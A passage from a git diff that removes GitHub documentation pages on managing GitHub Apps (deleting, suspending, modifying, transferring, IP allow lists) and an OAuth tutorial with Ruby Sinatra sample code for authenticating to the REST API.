-shortTitle: Delete your app -intro: 'You can delete {% data variables.product.prodname_github_apps %} that you own if you no longer want to use or maintain the app.' -redirect_from: - - /apps/building-integrations/managing-github-apps/deleting-a-github-app - - /apps/managing-github-apps/deleting-a-github-app - - /developers/apps/deleting-a-github-app - - /developers/apps/managing-github-apps/deleting-a-github-app -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps ---- - -> [!NOTE] -> If you want to remove a {% data variables.product.prodname_github_app %} that you use but do not own, see [AUTOTITLE](/apps/using-github-apps/reviewing-and-modifying-installed-github-apps#blocking-access) instead. - -## About deleting {% data variables.product.prodname_github_apps %} - -If you own a {% data variables.product.prodname_github_app %} or are an app manager for a {% data variables.product.prodname_github_app %}, you can delete the {% data variables.product.prodname_github_app %} registration. For more information about {% data variables.product.prodname_github_app %} managers, see [AUTOTITLE](/apps/maintaining-github-apps/about-github-app-managers). - -When you delete a {% data variables.product.prodname_github_app %} registration, the app will be uninstalled from all accounts that the app is installed on. - -{% ifversion ghec or fpt %} - -> [!NOTE] -> If your {% data variables.product.prodname_github_app %} is published on {% data variables.product.prodname_marketplace %}, you must remove your app from {% data variables.product.prodname_marketplace %} before you can delete your app. For more information, see [AUTOTITLE](/apps/publishing-apps-to-github-marketplace/listing-an-app-on-github-marketplace/deleting-your-github-app-listing-from-github-marketplace). - -{% endif %} - -## Deleting a {% data variables.product.prodname_github_app %} - -{% data reusables.apps.settings-step %} -{% data reusables.apps.enterprise-apps-steps %} -1. Select the {% data variables.product.prodname_github_app %} you want to delete. -{% data reusables.user-settings.github_apps_advanced %} -1. Click **Delete {% data variables.product.prodname_github_app %}**. -1. In the confirmation box, type the name of the {% data variables.product.prodname_github_app %} to confirm you want to delete it. -1. Click **I understand the consequences, delete this {% data variables.product.prodname_github_app %}**. - -These steps only delete your {% data variables.product.prodname_github_app %} registration, and all of the organization and account installations it may have. They do not delete any code that you wrote for your app. However, any code that relies on your {% data variables.product.prodname_github_app %}'s credentials will no longer function. diff --git a/content/apps/maintaining-github-apps/index.md b/content/apps/maintaining-github-apps/index.md deleted file mode 100644 index 1002ca706e3a..000000000000 --- a/content/apps/maintaining-github-apps/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: 'Maintaining {% data variables.product.prodname_github_apps %}' -intro: 'After you create and register a {% data variables.product.prodname_github_app %}, you can make modifications to the app, change permissions, transfer ownership, and delete the app.' -redirect_from: - - /apps/building-integrations/managing-github-apps - - /apps/managing-github-apps - - /developers/apps/managing-github-apps -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -children: - - /modifying-a-github-app-registration - - /activating-optional-features-for-github-apps - - /about-github-app-managers - - /managing-allowed-ip-addresses-for-a-github-app - - /suspending-a-github-app-installation - - /transferring-ownership-of-a-github-app - - /deleting-a-github-app ---- - diff --git a/content/apps/maintaining-github-apps/managing-allowed-ip-addresses-for-a-github-app.md b/content/apps/maintaining-github-apps/managing-allowed-ip-addresses-for-a-github-app.md deleted file mode 100644 index 2265f13240b8..000000000000 --- a/content/apps/maintaining-github-apps/managing-allowed-ip-addresses-for-a-github-app.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Managing allowed IP addresses for a GitHub App -intro: 'You can add an IP allow list to your {% data variables.product.prodname_github_app %} registration to prevent your app from being blocked by an organization''s own allow list.' -versions: - fpt: '*' - ghec: '*' -topics: - - GitHub Apps -shortTitle: Manage allowed IP addresses -redirect_from: - - /developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app ---- - -## About IP address allow lists for {% data variables.product.prodname_github_apps %} - -Enterprise and organization owners can restrict access to assets by configuring an IP address allow list. This list specifies the IP addresses that are allowed to connect. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise). - -When an organization has an allow list, third-party applications that connect via a {% data variables.product.prodname_github_app %} will be denied access unless either of the following condition sets are true: - -* The creator of the {% data variables.product.prodname_github_app %} has configured an allow list for the application that specifies the IP addresses at which their application runs. See below for details of how to do this, and -* The organization owner has chosen to permit the addresses in the {% data variables.product.prodname_github_app %}'s allow list to be added to their own allow list. For more information, see [Managing allowed IP addresses for your organization](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#allowing-access-by-github-apps){% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %} - -or - -* The organization owner has added an IP allow list entry for the IP addresses from which the application runs. See [Adding an allowed IP address](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization#adding-an-allowed-ip-address){% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %} - -{% data reusables.apps.ip-allow-list-only-apps %} - -## Adding an IP address allow list to a {% data variables.product.prodname_github_app %} registration - -{% data reusables.identity-and-permissions.ipv6-allow-lists %} -{% data reusables.identity-and-permissions.ip-address-add-or-remove-caching %} - -{% data reusables.apps.settings-step %} -{% data reusables.apps.enterprise-apps-steps %} -{% data reusables.user-settings.modify_github_app %} -{% data reusables.identity-and-permissions.ip-allow-lists-add-ip %} -{% data reusables.identity-and-permissions.ip-allow-lists-add-description %} - The description is for your reference and is not used in the allow list of organizations where the {% data variables.product.prodname_github_app %} is installed. Instead, organization allow lists will include "Managed by the NAME {% data variables.product.prodname_github_app %}" as the description. -{% data reusables.identity-and-permissions.ip-allow-lists-add-entry %} diff --git a/content/apps/maintaining-github-apps/modifying-a-github-app-registration.md b/content/apps/maintaining-github-apps/modifying-a-github-app-registration.md deleted file mode 100644 index 12bb252a1a03..000000000000 --- a/content/apps/maintaining-github-apps/modifying-a-github-app-registration.md +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: Modifying a GitHub App registration -shortTitle: Modify app settings -intro: '{% data reusables.shortdesc.modifying_github_apps %}' -redirect_from: - - /apps/building-integrations/managing-github-apps/modifying-a-github-app - - /apps/managing-github-apps/modifying-a-github-app - - /developers/apps/modifying-a-github-app - - /developers/apps/managing-github-apps/modifying-a-github-app - - /apps/building-integrations/managing-github-apps/editing-a-github-app-s-permissions - - /apps/managing-github-apps/editing-a-github-app-s-permissions - - /developers/apps/editing-a-github-apps-permissions - - /developers/apps/managing-github-apps/editing-a-github-apps-permissions - - /apps/maintaining-github-apps/editing-a-github-apps-permissions - - /apps/maintaining-github-apps/modifying-a-github-app -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps ---- - -## About {% data variables.product.prodname_github_app %} modifications - -You can modify your {% data variables.product.prodname_github_app %} registration to change any of the settings that were selected when the app was initially registered. For more information about the settings you can select while registering a {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/creating-a-github-app). - -For example, you can change the name and description of your app, the permissions granted to your app, the webhooks your app subscribes to, or the visibility of your app. - -You can also choose to test new optional features for your {% data variables.product.prodname_github_app %}. See [AUTOTITLE](/apps/maintaining-github-apps/activating-optional-features-for-github-apps). - -<!-- Anchor to maintain links to this heading --> -<a name="navigating-to-your-github-app-settings"></a> - -## Navigating to your {% data variables.product.prodname_github_app %} settings - -To modify a {% data variables.product.prodname_github_app %}, first navigate to the app settings page. - -{% data reusables.apps.settings-step %} -{% data reusables.apps.enterprise-apps-steps %} -{% data reusables.user-settings.modify_github_app %} - -## Changing the basic information of a {% data variables.product.prodname_github_app %} - -You can change the basic information of your {% data variables.product.prodname_github_app %}, like the name of the app, the description of the app, and the homepage URL of the app. - -{% data reusables.apps.navigate-to-app-settings-this-article %} -1. Under "Basic information," modify the {% data variables.product.prodname_github_app %} information that you'd like to change. -1. Click **Save changes**. - -## Requesting user authorization (OAuth) during installation - -You can prompt users to authorize your {% data variables.product.prodname_github_app %} when they install it and generate a user access token. When you request user authorization (OAuth) during installation, you must also provide a callback URL where the user will be redirected after they authorize the installation. See [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-user-access-token-for-a-github-app). - -{% data reusables.apps.navigate-to-app-settings-this-article %} -1. Under "Identifying and authorizing users," select or deselect **Request user authorization (OAuth) during installation**. -1. Under "Callback URL," enter the full URL to redirect to after a user authorizes the installation. - -## Enabling or disabling the device flow - -You can use the device flow to authorize users for a headless app like a CLI tool or Git credential manager. For more information about using the device flow with {% data variables.product.prodname_github_apps %}, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-user-access-token-for-a-github-app#using-the-device-flow-to-generate-a-user-access-token). - -{% data reusables.apps.navigate-to-app-settings-this-article %} -1. Under "Identifying and authorizing users," select or deselect **Enable Device Flow**. - -## Adding or updating a setup URL - -You can redirect people to a specific URL after they install your app. See [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/creating-a-github-app). - -If you select **Request user authorization (OAuth) during installation**, you will not be able to enter a setup URL. Users will instead be redirected to the Callback URL as part of the authorization flow, where you can describe additional setup. See [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/about-the-user-authorization-callback-url). - -{% data reusables.apps.navigate-to-app-settings-this-article %} -1. Under "Post installation," in the "Setup URL" field, enter the URL where you'd like to redirect users after they install your app. -1. Optionally, if you want to redirect users to the setup URL after they update an installation, select **Redirect on update**. An update includes adding or removing a repository for an installation. If "Setup URL" is blank, this will be ignored. - -## Changing the permissions of a {% data variables.product.prodname_github_app %} - -You can change the access permissions that are granted to your {% data variables.product.prodname_github_app %} using the following steps. - -When you change the **repository** or **organization** permissions of an app, each account where the app is installed will need to approve the new permissions. When you change the **account** permissions of an app, each user that has authorized the app will need to approve the permission changes. In both cases, {% data variables.product.prodname_dotcom %} will send an email to each organization owner or user, notifying them of the request to update the app's permissions. Updated permissions won't take effect on an installation or user authorization until the new permissions are approved. You can use the [installation webhook](/webhooks-and-events/webhooks/webhook-events-and-payloads?actionType=new_permissions_accepted#installation) to find out when people accept new permissions for your app. - -Changing the permissions of an app may also change the webhooks that your app can subscribe to and the actions that your app can take with the API. See [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/choosing-permissions-for-a-github-app). - -{% data reusables.apps.navigate-to-app-settings-this-article %} -1. In the {% data variables.product.prodname_github_apps %} settings sidebar, click **Permissions & events**. -1. Under the sections "Repository permissions," "Organization permissions," and "Account permissions," modify the permissions you'd like to change. For each type of permission, select either "Read-only," "Read and write," or "No access" from the dropdown. See [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/choosing-permissions-for-a-github-app). -1. Optionally, under "Add a note to users," add a note telling your users why you are changing the permissions that your {% data variables.product.prodname_github_app %} requests. -1. Click **Save changes**. - -## Activating or deactivating the {% data variables.product.prodname_github_app %} webhook - -You can configure your {% data variables.product.prodname_github_app %} to receive webhooks for specific events on {% data variables.product.prodname_dotcom %} and automatically take action on them. See [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/using-webhooks-with-github-apps). - -{% data reusables.apps.navigate-to-app-settings-this-article %} -1. Under "Webhook," to enable or disable the webhook, select or deselect **Active**. -1. If you selected **Active** in the previous step, under "Webhook URL," enter the URL that {% data variables.product.prodname_dotcom %} should send webhook events to. -1. Optionally, if you selected **Active** in the previous step, under "Webhook secret," enter a secret token to secure your webhooks. {% data variables.product.prodname_dotcom %} highly recommends that you set a webhook secret. - -## Changing the webhook event subscriptions of a {% data variables.product.prodname_github_app %} - -You can change the webhook events that a {% data variables.product.prodname_github_app %} subscribes to using the following steps. - -{% data reusables.apps.webhooks-and-apps %} See [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/using-webhooks-with-github-apps). - -{% data reusables.apps.navigate-to-app-settings-this-article %} -1. Activate the {% data variables.product.prodname_github_app %} webhook. See [Activating or deactivating the {% data variables.product.prodname_github_app %} webhook](/apps/maintaining-github-apps/modifying-a-github-app#activating-or-deactivating-the-github-app-webhook) in this article. -1. In the {% data variables.product.prodname_github_apps %} settings sidebar, click **Permissions & events**. -1. Under the sections "Repository permissions," "Organization permissions," and "Account permissions," select the permissions that are required for the events your app will subscribe to. See [Changing the permissions of a {% data variables.product.prodname_github_app %}](#changing-the-permissions-of-a-github-app). -1. Under "Subscribe to Events," select the webhook events you would like your {% data variables.product.prodname_github_app %} to receive. -1. Click **Save changes**. - -## Changing the visibility of a {% data variables.product.prodname_github_app %} - -You can change the visibility settings of your {% data variables.product.prodname_github_app %} to control who can install it. Public apps cannot be made private if they're installed on other accounts. See [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/making-a-github-app-public-or-private). - -{% ifversion enterprise-apps-public-beta %} -You can't change the visibility of an {% data variables.product.prodname_github_app %} owned by an enterprise. {% data variables.product.prodname_github_apps %} owned by an enterprise can only be installed on organizations within the enterprise. -{% endif %} - -{% data reusables.apps.navigate-to-app-settings-this-article %} -{% data reusables.user-settings.github_apps_advanced %} -1. Under "Danger zone," depending on the current visibility of your {% data variables.product.prodname_github_app %}, click either **Make public** or **Make private**. diff --git a/content/apps/maintaining-github-apps/suspending-a-github-app-installation.md b/content/apps/maintaining-github-apps/suspending-a-github-app-installation.md deleted file mode 100644 index 41d4a1089a13..000000000000 --- a/content/apps/maintaining-github-apps/suspending-a-github-app-installation.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Suspending a GitHub App installation -intro: 'You can temporarily block your {% data variables.product.prodname_github_app %} from accessing resources owned by the accounts that installed the {% data variables.product.prodname_github_app %}.' -redirect_from: - - /apps/managing-github-apps/suspending-a-github-app-installation - - /developers/apps/suspending-a-github-app-installation - - /developers/apps/managing-github-apps/suspending-a-github-app-installation -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -shortTitle: Suspend an installation ---- - -> [!NOTE] -> If you want to suspend a {% data variables.product.prodname_github_app %} that you use but do not own, see [AUTOTITLE](/apps/using-github-apps/reviewing-and-modifying-installed-github-apps#blocking-access) instead. - -When a {% data variables.product.prodname_github_app %} is suspended for an installation, the {% data variables.product.prodname_github_app %} cannot access resources owned by that installation account. For example, you might want to suspend your {% data variables.product.prodname_github_app %} if you are worried that your app's credentials were leaked. - -The owner of a {% data variables.product.prodname_github_app %} can suspend the {% data variables.product.prodname_github_app %} for a specific installation. If an organization has designated any app managers for an app owned by the organization, the app managers can also suspend the {% data variables.product.prodname_github_app %} for a specific installation. {% data variables.product.prodname_github_app %} owners and managers can only use the API to suspend their app, and they must suspend the app individually for each installation. For more information, see [AUTOTITLE](/rest/apps/apps#suspend-an-app-installation). - -Users who installed a {% data variables.product.prodname_github_app %} on their personal account or organization can also suspend a {% data variables.product.prodname_github_app %} from accessing resources owned by their account. People who have installed a {% data variables.product.prodname_github_app %} can only use the {% data variables.product.company_short %} web interface to suspend their app. For more information, see [AUTOTITLE](/apps/using-github-apps/reviewing-and-modifying-installed-github-apps). - -A {% data variables.product.prodname_github_app %} must be unsuspended in the same way it was suspended. If an owner or manager of a {% data variables.product.prodname_github_app %} suspended the app, they can also unsuspend it, but the owner of an account where the app is installed cannot unsuspend it. Similarly, if the owner of an account where a {% data variables.product.prodname_github_app %} is installed suspended the app, they can also unsuspend it, but an owner or manager of the app cannot unsuspend it. diff --git a/content/apps/maintaining-github-apps/transferring-ownership-of-a-github-app.md b/content/apps/maintaining-github-apps/transferring-ownership-of-a-github-app.md deleted file mode 100644 index 257cb3826764..000000000000 --- a/content/apps/maintaining-github-apps/transferring-ownership-of-a-github-app.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Transferring ownership of a GitHub App -intro: '{% data reusables.shortdesc.transferring_ownership_of_github_apps %}' -redirect_from: - - /apps/building-integrations/managing-github-apps/transferring-ownership-of-a-github-app - - /apps/managing-github-apps/transferring-ownership-of-a-github-app - - /developers/apps/transferring-ownership-of-a-github-app - - /developers/apps/managing-github-apps/transferring-ownership-of-a-github-app -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -shortTitle: Transfer ownership ---- - -## About transferring {% data variables.product.prodname_github_apps %} - -The owner of a {% data variables.product.prodname_github_app %} registration can transfer ownership of the {% data variables.product.prodname_github_app %} registration to another account. If an organization has designated any app managers for an app owned by the organization, the app managers can also transfer ownership of the {% data variables.product.prodname_github_app %} registration. For more information about app managers, see [AUTOTITLE](/organizations/managing-programmatic-access-to-your-organization/adding-and-removing-github-app-managers-in-your-organization). - -You can transfer apps from a user or organization to another account. You cannot transfer ownership to a team. - -{% data reusables.apps.transfer-to-enterprise %} - -## Transferring a {% data variables.product.prodname_github_app %} registration - -{% data reusables.apps.settings-step-personal-orgs %} -{% data reusables.user-settings.developer_settings %} -{% data reusables.user-settings.github_apps %} -1. Select the {% data variables.product.prodname_github_app %} whose ownership you want to transfer. -{% data reusables.user-settings.github_apps_advanced %} -1. Click **Transfer ownership**. -1. Under "New owner's {% data variables.product.prodname_dotcom %} {% ifversion fpt or enterprise-apps-public-beta %}username, organization, or enterprise name",{% else %}username or organization name",{% endif %} type the name of the account you want to transfer the {% data variables.product.prodname_github_app %} to. -{%- ifversion fpt or enterprise-apps-public-beta %} -1. Select the account from the dropdown that you wish to transfer to. Be aware that enterprises and organizations can have the same name, so check that you are transferring to the correct account type. -1. If transferring the app would uninstall it from your account, a warning will appear. -{%- endif %} -1. Click **Transfer this {% data variables.product.prodname_github_app %}**. diff --git a/content/apps/oauth-apps/building-oauth-apps/authenticating-to-the-rest-api-with-an-oauth-app.md b/content/apps/oauth-apps/building-oauth-apps/authenticating-to-the-rest-api-with-an-oauth-app.md deleted file mode 100644 index 0a448f5b183e..000000000000 --- a/content/apps/oauth-apps/building-oauth-apps/authenticating-to-the-rest-api-with-an-oauth-app.md +++ /dev/null @@ -1,360 +0,0 @@ ---- -title: Authenticating to the REST API with an OAuth app -shortTitle: Authenticate with an {% data variables.product.prodname_oauth_app %} -intro: Learn about the different ways to authenticate with some examples. -redirect_from: - - /guides/basics-of-authentication - - /v3/guides/basics-of-authentication - - /rest/basics-of-authentication - - /rest/guides/basics-of-authentication -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API ---- - - -In this section, we're going to focus on the basics of authentication. Specifically, -we're going to create a Ruby server (using [Sinatra](http://www.sinatrarb.com/)) that implements -the [web flow](/apps/oauth-apps/building-oauth-apps/authorizing-oauth-apps) of an application in several different ways. - -> [!TIP] -> You can download the complete source code for this project [from the platform-samples repo](https://github.com/github/platform-samples/tree/master/api/). - -## Registering your app - -First, you'll need to [register your application](https://github.com/settings/applications/new). Every -registered {% data variables.product.prodname_oauth_app %} is assigned a unique Client ID and Client Secret. -The client secret is used to get an access token for the signed-in user. You must -include the client secret in your native application, however web applications should not leak this value. - -You can fill out every other piece of information however you like, except the -**Authorization callback URL**. This is the most important piece to securely setting -up your application. It's the callback URL that {% data variables.product.github %} -returns the user to after successful authentication. Ownership of that URL is what ensures -that users sign into your app, instead of leaking tokens to an attacker. - -Since we're running a regular Sinatra server, the location of the local instance -is set to `http://127.0.0.1:4567`. Let's fill in the callback URL as `http://127.0.0.1:4567/callback`. - -## Accepting user authorization - -{% data reusables.apps.deprecating_auth_with_query_parameters %} - -Now, let's start filling out our simple server. Create a file called _server.rb_ and paste this into it: - -``` ruby -require 'sinatra' -require 'rest-client' -require 'json' - -CLIENT_ID = ENV['GH_BASIC_CLIENT_ID'] -CLIENT_SECRET = ENV['GH_BASIC_SECRET_ID'] - -get '/' do - erb :index, :locals => {:client_id => CLIENT_ID} -end -``` - -Your client ID and client secret come from [your application's configuration -page](https://github.com/settings/developers). We recommend storing these values as -[environment variables](http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables) for ease of replacement and use -- -which is exactly what we've done here. - -Next, in _views/index.erb_, paste this content: - -```html -<html> - <head> - </head> - <body> - <p> - Well, hello there! - </p> - <p> - We're going to now talk to the GitHub API. Ready? - <a href="https://github.com/login/oauth/authorize?scope=user:email&client_id=<%= client_id %>">Click here</a> to begin! - </p> - <p> - If that link doesn't work, remember to provide your own <a href="/apps/building-oauth-apps/authorizing-oauth-apps/">Client ID</a>! - </p> - </body> -</html> -``` - -(If you're unfamiliar with how Sinatra works, we recommend [reading the Sinatra guide](https://github.com/sinatra/sinatra-book/blob/main/book/Introduction.markdown#hello-world-application).) - -Also, notice that the URL uses the `scope` query parameter to define the -[scopes](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps) requested by the application. For our application, we're -requesting `user:email` scope for reading private email addresses. - -Navigate your browser to `http://127.0.0.1:4567`. After clicking on the link, you should be taken to {% data variables.product.github %}, and presented with an "Authorize application" dialog. - -If you trust yourself, click **Authorize App**. Wuh-oh! Sinatra spits out a -`404` error. What gives?! - -Well, remember when we specified a Callback URL to be `callback`? We didn't provide -a route for it, so {% data variables.product.github %} doesn't know where to drop the user after they authorize -the app. Let's fix that now! - -### Providing a callback - -In _server.rb_, add a route to specify what the callback should do: - -```ruby -get '/callback' do - # get temporary GitHub code... - session_code = request.env['rack.request.query_hash']['code'] - - # ... and POST it back to GitHub - result = RestClient.post('https://github.com/login/oauth/access_token', - {:client_id => CLIENT_ID, - :client_secret => CLIENT_SECRET, - :code => session_code}, - :accept => :json) - - # extract the token and granted scopes - access_token = JSON.parse(result)['access_token'] -end -``` - -After a successful app authentication, {% data variables.product.github %} provides a temporary `code` value. -You'll need to `POST` this code back to {% data variables.product.github %} with your client secret -in exchange for an `access_token`. -To simplify our GET and POST HTTP requests, we're using the [rest-client](https://github.com/archiloque/rest-client). -Note that you'll probably never access the API through REST. For a more serious -application, you should probably use [a library written in the language of your choice](/rest/overview/libraries). - -### Checking granted scopes - -Users can edit the scopes you requested by directly changing the URL. This can grant your application less access than you originally asked for. Before making any requests with the token, check the scopes that were granted for the token by the user. For more information about requested and granted scopes, see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps#requested-scopes-and-granted-scopes). - -The scopes that were granted are returned as a part of the response from -exchanging a token. - -``` ruby -get '/callback' do - # ... - # Get the access_token using the code sample above - # ... - - # check if we were granted user:email scope - scopes = JSON.parse(result)['scope'].split(',') - has_user_email_scope = scopes.include? 'user:email' || scopes.include? 'user' -end -``` - -In our application, we're using `scopes.include?` to check if we were granted -the `user:email` scope needed for fetching the authenticated user's private -email addresses. Had the application asked for other scopes, we would have -checked for those as well. - -Also, since there's a hierarchical relationship between scopes, you should -check if you were granted any higher levels of the required scope. For example, -if the application had asked for `user` scope, it won't have been granted explicitly the -`user:email` scope. In that case, it would receive a token with the `user` scope, which -would work for requesting the user's email address, even though it doesn't explicitly include -`user:email` on the token. Checking for both `user` and `user:email` ensures that you -check for both scenarios. - -Checking for scopes only before making requests is not enough since it's possible -that users will change the scopes in between your check and the actual request. -In case that happens, API calls you expected to succeed might fail with a `404` -or `401` status, or return a different subset of information. - -To help you gracefully handle these situations, all API responses for requests -made with valid OAuth app tokens also contain an [`X-OAuth-Scopes` header](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps). -This header contains the list of scopes of the token that was used to make the -request. In addition to that, the REST API provides an endpoint to -[check a token for validity](/rest/apps/oauth-applications#check-a-token). -Use this information to detect changes in token scopes, and inform your users of -changes in available application functionality. - -### Making authenticated requests - -At last, with this access token, you'll be able to make authenticated requests as -the logged in user: - -``` ruby -# fetch user information -auth_result = JSON.parse(RestClient.get('{% data variables.product.rest_url %}/user', - {:params => {:access_token => access_token}})) - -# if the user authorized it, fetch private emails -if has_user_email_scope - auth_result['private_emails'] = - JSON.parse(RestClient.get('{% data variables.product.rest_url %}/user/emails', - {:params => {:access_token => access_token}})) -end - -erb :basic, :locals => auth_result -``` - -We can do whatever we want with our results. In this case, we'll just dump them straight into _basic.erb_: - -```html -<p>Hello, <%= login %>!</p> -<p> - <% if !email.nil? && !email.empty? %> It looks like your public email address is <%= email %>. - <% else %> It looks like you don't have a public email. That's cool. - <% end %> -</p> -<p> - <% if defined? private_emails %> - With your permission, we were also able to dig up your private email addresses: - <%= private_emails.map{ |private_email_address| private_email_address["email"] }.join(', ') %> - <% else %> - Also, you're a bit secretive about your private email addresses. - <% end %> -</p> -``` - -## Implementing "persistent" authentication - -It'd be a pretty bad model if we required users to log into the app every single -time they needed to access the web page. For example, try navigating directly to -`http://127.0.0.1:4567/basic`. You'll get an error. - -What if we could circumvent the entire -"click here" process, and just _remember_ that, as long as the user's logged into -{% data variables.product.github %}, they should be able to access this application? Hold on to your hat, -because _that's exactly what we're going to do_. - -Our little server above is rather simple. In order to wedge in some intelligent -authentication, we're going to switch over to using sessions for storing tokens. -This will make authentication transparent to the user. - -Also, since we're persisting scopes within the session, we'll need to -handle cases when the user updates the scopes after we checked them, or revokes -the token. To do that, we'll use a `rescue` block and check that the first API -call succeeded, which verifies that the token is still valid. After that, we'll -check the `X-OAuth-Scopes` response header to verify that the user hasn't revoked -the `user:email` scope. - -Create a file called _advanced_server.rb_, and paste these lines into it: - -``` ruby -require 'sinatra' -require 'rest_client' -require 'json' - -# Don't use hard-coded values in your app -# Instead, set and test environment variables, like below -# if ENV['GITHUB_CLIENT_ID'] && ENV['GITHUB_CLIENT_SECRET'] -# CLIENT_ID = ENV['GITHUB_CLIENT_ID'] -# CLIENT_SECRET = ENV['GITHUB_CLIENT_SECRET'] -# end - -CLIENT_ID = ENV['GH_BASIC_CLIENT_ID'] -CLIENT_SECRET = ENV['GH_BASIC_SECRET_ID'] - -use Rack::Session::Pool, :cookie_only => false - -def authenticated? - session[:access_token] -end - -def authenticate! - erb :index, :locals => {:client_id => CLIENT_ID} -end - -get '/' do - if !authenticated? - authenticate! - else - access_token = session[:access_token] - scopes = [] - - begin - auth_result = RestClient.get('{% data variables.product.rest_url %}/user', - {:params => {:access_token => access_token}, - :accept => :json}) - rescue => e - # request didn't succeed because the token was revoked so we - # invalidate the token stored in the session and render the - # index page so that the user can start the OAuth flow again - - session[:access_token] = nil - return authenticate! - end - - # the request succeeded, so we check the list of current scopes - if auth_result.headers.include? :x_oauth_scopes - scopes = auth_result.headers[:x_oauth_scopes].split(', ') - end - - auth_result = JSON.parse(auth_result) - - if scopes.include? 'user:email' - auth_result['private_emails'] = - JSON.parse(RestClient.get('{% data variables.product.rest_url %}/user/emails', - {:params => {:access_token => access_token}, - :accept => :json})) - end - - erb :advanced, :locals => auth_result - end -end - -get '/callback' do - session_code = request.env['rack.request.query_hash']['code'] - - result = RestClient.post('https://github.com/login/oauth/access_token', - {:client_id => CLIENT_ID, - :client_secret => CLIENT_SECRET, - :code => session_code}, - :accept => :json) - - session[:access_token] = JSON.parse(result)['access_token'] - - redirect '/' -end -``` - -Much of the code should look familiar. For example, we're still using `RestClient.get` -to call out to the {% data variables.product.github %} API, and we're still passing our results to be rendered -in an ERB template (this time, it's called `advanced.erb`). - -Also, we now have the `authenticated?` method which checks if the user is already -authenticated. If not, the `authenticate!` method is called, which performs the -OAuth flow and updates the session with the granted token and scopes. - -Next, create a file in _views_ called _advanced.erb_, and paste this markup into it: - -```html -<html> - <head> - </head> - <body> - <p>Well, well, well, <%= login %>!</p> - <p> - <% if !email.empty? %> It looks like your public email address is <%= email %>. - <% else %> It looks like you don't have a public email. That's cool. - <% end %> - </p> - <p> - <% if defined? private_emails %> - With your permission, we were also able to dig up your private email addresses: - <%= private_emails.map{ |private_email_address| private_email_address["email"] }.join(', ') %> - <% else %> - Also, you're a bit secretive about your private email addresses. - <% end %> - </p> - </body> -</html> -``` - -From the command line, call `ruby advanced_server.rb`, which starts up your -server on port `4567` -- the same port we used when we had a simple Sinatra app. -When you navigate to `http://127.0.0.1:4567`, the app calls `authenticate!` -which redirects you to `/callback`. `/callback` then sends us back to `/`, -and since we've been authenticated, renders _advanced.erb_. - -We could completely simplify this roundtrip routing by simply changing our callback -URL in {% data variables.product.github %} to `/`. But, since both _server.rb_ and _advanced.rb_ are relying on -the same callback URL, we've got to do a little bit of wonkiness to make it work. - -Also, if we had never authorized this application to access our {% data variables.product.github %} data, -we would've seen the same confirmation dialog from earlier pop-up and warn us. diff --git a/content/apps/oauth-apps/building-oauth-apps/authorizing-oauth-apps.md b/content/apps/oauth-apps/building-oauth-apps/authorizing-oauth-apps.md deleted file mode 100644 index 048194b01524..000000000000 --- a/content/apps/oauth-apps/building-oauth-apps/authorizing-oauth-apps.md +++ /dev/null @@ -1,332 +0,0 @@ ---- -title: Authorizing OAuth apps -intro: '{% data reusables.shortdesc.authorizing_oauth_apps %}' -redirect_from: - - /apps/building-integrations/setting-up-and-registering-oauth-apps/about-authorization-options-for-oauth-apps - - /apps/building-integrations/setting-up-and-registering-oauth-apps/directing-users-to-review-their-access - - /apps/building-integrations/setting-up-and-registering-oauth-apps/creating-multiple-tokens-for-oauth-apps - - /v3/oauth - - /apps/building-oauth-apps/authorization-options-for-oauth-apps - - /apps/building-oauth-apps/authorizing-oauth-apps - - /developers/apps/authorizing-oauth-apps - - /developers/apps/building-oauth-apps/authorizing-oauth-apps -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - OAuth apps ---- - -> [!NOTE] -> Consider building a {% data variables.product.prodname_github_app %} instead of an {% data variables.product.prodname_oauth_app %}. -> -> Both {% data variables.product.prodname_oauth_apps %} and {% data variables.product.prodname_github_apps %} use OAuth 2.0. -> -> {% data variables.product.prodname_github_apps %} can act on behalf of a user, similar to an {% data variables.product.prodname_oauth_app %}, or as themselves, which is beneficial for automations that do not require user input. Additionally, {% data variables.product.prodname_github_apps %} use fine-grained permissions, give the user more control over which repositories the app can access, and use short-lived tokens. For more information, see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/differences-between-github-apps-and-oauth-apps) and [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/about-creating-github-apps). - -{% data 